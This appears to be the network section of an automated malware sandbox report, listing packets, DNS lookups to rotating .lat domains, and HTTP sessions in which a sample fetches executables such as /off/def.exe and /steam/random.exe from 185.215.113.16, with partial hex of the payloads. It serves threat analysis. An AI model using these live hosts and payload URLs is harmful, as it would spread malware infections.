Dec 23, 2024 09:00:46.871020079 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.871845007 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.872025013 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.872452021 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.872860909 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.873047113 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.873898983 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.873944044 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.874111891 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.874154091 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.874939919 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.875101089 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.875966072 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.876015902 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.876118898 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.876161098 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.876961946 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.877156019 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.877203941 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.878020048 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.878190041 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.879044056 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.879080057 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.879216909 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.879256964 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.880083084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.880265951 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.880448103 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.881139994 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.881396055 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.881437063 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.882148027 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.882330894 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.883160114 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.883204937 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.883342028 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.883382082 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.884217024 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.884378910 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.884443045 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.885252953 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.885401964 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.886269093 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.886333942 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.886483908 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.886523008 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.887309074 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.887495041 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.888231039 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.888319969 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.888556957 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.888611078 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.889384985 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.889540911 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.890419006 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.890463114 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.890594959 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.890640974 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.891459942 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.891782045 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.892443895 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.892502069 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.892694950 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.893605947 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.893670082 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.893699884 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.893743038 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.894520998 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.916800022 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.916893959 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.917006016 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.917212009 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.917258024 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.917500973 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.918029070 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.918239117 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.918286085 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.919080973 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.919131994 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.919238091 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.920134068 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.920285940 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.920339108 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.921122074 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.921315908 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.921365023 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.922152996 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.922203064 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.922332048 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.923203945 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.923377991 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.923424006 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.924230099 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.924443007 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.924496889 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.925295115 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.925406933 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.925499916 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.926234007 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.926316977 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.931310892 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.932914972 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.981868982 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.981985092 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.982029915 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.982319117 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.982672930 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.982722998 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:46.983361959 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.983520985 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:46.983566046 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:47.038289070 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:47.236305952 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:50.265422106 CET	49833	80	192.168.2.6	185.215.113.206
Dec 23, 2024 09:00:50.385792971 CET	80	49833	185.215.113.206	192.168.2.6
Dec 23, 2024 09:00:50.385891914 CET	49833	80	192.168.2.6	185.215.113.206
Dec 23, 2024 09:00:50.386785030 CET	49833	80	192.168.2.6	185.215.113.206
Dec 23, 2024 09:00:50.506263971 CET	80	49833	185.215.113.206	192.168.2.6
Dec 23, 2024 09:00:51.726346970 CET	80	49833	185.215.113.206	192.168.2.6
Dec 23, 2024 09:00:51.728493929 CET	49833	80	192.168.2.6	185.215.113.206
Dec 23, 2024 09:00:51.734757900 CET	49833	80	192.168.2.6	185.215.113.206
Dec 23, 2024 09:00:51.854444981 CET	80	49833	185.215.113.206	192.168.2.6
Dec 23, 2024 09:00:52.183321953 CET	80	49833	185.215.113.206	192.168.2.6
Dec 23, 2024 09:00:52.183417082 CET	49833	80	192.168.2.6	185.215.113.206
Dec 23, 2024 09:00:54.594749928 CET	49833	80	192.168.2.6	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 09:00:08.029467106 CET	61793	53	192.168.2.6	1.1.1.1
Dec 23, 2024 09:00:08.166901112 CET	53	61793	1.1.1.1	192.168.2.6
Dec 23, 2024 09:00:08.174211025 CET	57472	53	192.168.2.6	1.1.1.1
Dec 23, 2024 09:00:08.351898909 CET	53	57472	1.1.1.1	192.168.2.6
Dec 23, 2024 09:00:08.356597900 CET	53952	53	192.168.2.6	1.1.1.1
Dec 23, 2024 09:00:08.518663883 CET	53	53952	1.1.1.1	192.168.2.6
Dec 23, 2024 09:00:08.521632910 CET	54160	53	192.168.2.6	1.1.1.1
Dec 23, 2024 09:00:08.734122992 CET	53	54160	1.1.1.1	192.168.2.6
Dec 23, 2024 09:00:08.746619940 CET	50225	53	192.168.2.6	1.1.1.1
Dec 23, 2024 09:00:08.884421110 CET	53	50225	1.1.1.1	192.168.2.6
Dec 23, 2024 09:00:08.886995077 CET	57576	53	192.168.2.6	1.1.1.1
Dec 23, 2024 09:00:09.025549889 CET	53	57576	1.1.1.1	192.168.2.6
Dec 23, 2024 09:00:09.033261061 CET	60527	53	192.168.2.6	1.1.1.1
Dec 23, 2024 09:00:09.177022934 CET	53	60527	1.1.1.1	192.168.2.6
Dec 23, 2024 09:00:09.178910971 CET	58783	53	192.168.2.6	1.1.1.1
Dec 23, 2024 09:00:09.316868067 CET	53	58783	1.1.1.1	192.168.2.6
Dec 23, 2024 09:00:09.323956966 CET	63226	53	192.168.2.6	1.1.1.1
Dec 23, 2024 09:00:09.461879969 CET	53	63226	1.1.1.1	192.168.2.6
Dec 23, 2024 09:00:09.463954926 CET	60967	53	192.168.2.6	1.1.1.1
Dec 23, 2024 09:00:09.602035046 CET	53	60967	1.1.1.1	192.168.2.6
Dec 23, 2024 09:00:12.031959057 CET	59962	53	192.168.2.6	1.1.1.1
Dec 23, 2024 09:00:12.172776937 CET	53	59962	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 09:00:08.029467106 CET	192.168.2.6	1.1.1.1	0x8aca	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:08.174211025 CET	192.168.2.6	1.1.1.1	0x35cc	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:08.356597900 CET	192.168.2.6	1.1.1.1	0x3570	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:08.521632910 CET	192.168.2.6	1.1.1.1	0xb5a	Standard query (0)	necklacebudi.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:08.746619940 CET	192.168.2.6	1.1.1.1	0xe3eb	Standard query (0)	energyaffai.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:08.886995077 CET	192.168.2.6	1.1.1.1	0x55ed	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:09.033261061 CET	192.168.2.6	1.1.1.1	0x311f	Standard query (0)	sustainskelet.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:09.178910971 CET	192.168.2.6	1.1.1.1	0xf871	Standard query (0)	crosshuaht.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:09.323956966 CET	192.168.2.6	1.1.1.1	0x92d	Standard query (0)	rapeflowwj.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:09.463954926 CET	192.168.2.6	1.1.1.1	0xb7d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:12.031959057 CET	192.168.2.6	1.1.1.1	0x4771	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 09:00:03.208000898 CET	1.1.1.1	192.168.2.6	0xbefc	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 09:00:03.208000898 CET	1.1.1.1	192.168.2.6	0xbefc	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:08.166901112 CET	1.1.1.1	192.168.2.6	0x8aca	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:08.351898909 CET	1.1.1.1	192.168.2.6	0x35cc	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:08.518663883 CET	1.1.1.1	192.168.2.6	0x3570	Name error (3)	discokeyus.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:08.734122992 CET	1.1.1.1	192.168.2.6	0xb5a	Name error (3)	necklacebudi.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:08.884421110 CET	1.1.1.1	192.168.2.6	0xe3eb	Name error (3)	energyaffai.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:09.025549889 CET	1.1.1.1	192.168.2.6	0x55ed	Name error (3)	aspecteirs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:09.177022934 CET	1.1.1.1	192.168.2.6	0x311f	Name error (3)	sustainskelet.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:09.316868067 CET	1.1.1.1	192.168.2.6	0xf871	Name error (3)	crosshuaht.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:09.461879969 CET	1.1.1.1	192.168.2.6	0x92d	Name error (3)	rapeflowwj.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:09.602035046 CET	1.1.1.1	192.168.2.6	0xb7d	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:12.172776937 CET	1.1.1.1	192.168.2.6	0x4771	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:12.172776937 CET	1.1.1.1	192.168.2.6	0x4771	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:26.787724018 CET	1.1.1.1	192.168.2.6	0x3601	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 09:00:26.787724018 CET	1.1.1.1	192.168.2.6	0x3601	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Dec 23, 2024 09:00:26.787724018 CET	1.1.1.1	192.168.2.6	0x3601	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49794	185.215.113.16	80	4060	C:\Users\user\Desktop\BVGvbpplT8.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 09:00:34.533773899 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 09:00:35.871073008 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 08:00:34 GMT Content-Type: application/octet-stream Content-Length: 2765312 Last-Modified: Mon, 23 Dec 2024 07:19:04 GMT Connection: keep-alive ETag: "67690ee8-2a3200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 fa c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ `Ui`D @ @ @.rsrcD``@.idata f@brdofphe))h@pzoalvov `@.taggant@"@
Dec 23, 2024 09:00:35.871290922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 09:00:35.871306896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 09:00:35.871968031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 09:00:35.871984005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 09:00:35.872719049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 09:00:35.872735977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 09:00:35.873388052 CET	1000	IN	Data Raw: 7a bb 37 45 66 99 54 65 36 9a 2e 45 8e a9 2e 45 70 bb 32 45 66 99 54 4b 8e 97 2e 45 6c b9 58 45 66 a6 5e 48 66 f8 2e 45 66 96 2e 45 77 bb 45 45 66 9d ac 59 66 93 38 4f 71 a9 3a 70 ad 9a 36 df 73 9c 9d 5d 66 93 38 b7 89 93 2e b5 8e ac 2e 45 70 bf Data Ascii: z7EfTe6.E.Ep2EfTK.ElXEf^Hf.Ef.EwEEfYf8Oq:p6s]f8..Ep[N.Ep<Eh@E.El/ol3EfTmr.KoIEfVIf4knQnF5mj.K.Ef^Hf.Ef.EwEEfYf8Oq:p6s]f8g..EpVN.Ep<Eh@E.El/ol3EfTN.Ep2EfTM}:
Dec 23, 2024 09:00:35.873405933 CET	1236	IN	Data Raw: d9 93 2e 45 66 d3 42 45 66 bb 34 45 66 b6 83 98 66 fb 48 45 66 a3 2e 45 66 b6 75 9a af d7 2e 45 66 0b 49 45 66 23 31 45 66 b6 70 b1 d5 f5 2e 45 66 93 2e 45 66 95 2e 45 67 ea 6b 47 7a 9c 30 45 66 93 28 47 99 93 44 45 66 94 2e 45 66 b4 2e 45 66 9e Data Ascii: .EfBEf4EffHEf.Efu.EfIEf#1Efp.Ef.Ef.EgkGz0Ef(GDEf.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Ef.Xn.Ef.Kf6+p."ny8Kf5o.Kp.Kf85do.qm7Kf5do.n7Kf#6do.m7KfO5do.lZ8Kf4p.5m7Kfj5n.ly8
Dec 23, 2024 09:00:35.874074936 CET	1236	IN	Data Raw: 66 ee 37 45 66 95 2e 89 6b 93 2e 48 66 00 39 45 86 93 2e 45 66 93 2e 46 66 1f 33 45 66 95 2e 76 70 93 2e 48 66 ec 38 45 86 93 2e 45 66 93 2e 46 66 1f 33 45 66 95 2e 17 6f 93 2e 48 66 4d 39 45 86 93 2e 45 66 93 2e 46 66 1f 33 45 66 95 2e 23 6c 93 Data Ascii: f7Ef.k.Hf9E.Ef.Ff3Ef.vp.Hf8E.Ef.Ff3Ef.o.HfM9E.Ef.Ff3Ef.#l.Hf4Ef.o.Jf4Ef.o.Lf2Ef.Zp.Nf74Ef.j.PfJ4Ef.k.Ff6Ef.l.Hf6Nf:8Ff.o.^f:8Of.o.vf:8Uf.o.f:8Uf.o.f:8Uf.o.f:8Zf.o.f:8Uf/o.
Dec 23, 2024 09:00:35.990979910 CET	1236	IN	Data Raw: ad d8 2e 98 ab e6 81 8e b5 e1 71 8d a7 e1 75 8a 66 e6 73 97 bc dc 71 8a c5 e1 7d a4 a9 db 6f 93 ad d8 2e 93 ab e7 70 8e b4 d7 73 93 a7 d5 7a 8a 66 e1 73 99 a8 dc 7c 89 aa dc 81 86 a8 df 73 45 b9 d8 80 9b af d6 73 a4 ab e5 80 94 b8 f2 81 8a bc d8 Data Ascii: .qufsq}o.pszfs\|sEsfsq}~sEyrwsEs}sEywow~s\|fs\|{.\|qwfq\|r
Dec 23, 2024 09:00:42.177443027 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 09:00:42.619746923 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 08:00:41 GMT Content-Type: application/octet-stream Content-Length: 2835456 Last-Modified: Mon, 23 Dec 2024 07:21:00 GMT Connection: keep-alive ETag: "67690f5c-2b4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 70 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 4e 00 00 04 00 00 84 4c 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(pN@NL+@M$a$$ $h@.rsrc$x@.idata $z@ynqricro)$)\|@wjlvyldl`N+@.taggant0pN""+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49833	185.215.113.206	80	8020	C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 09:00:50.386785030 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 09:00:51.726346970 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 08:00:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
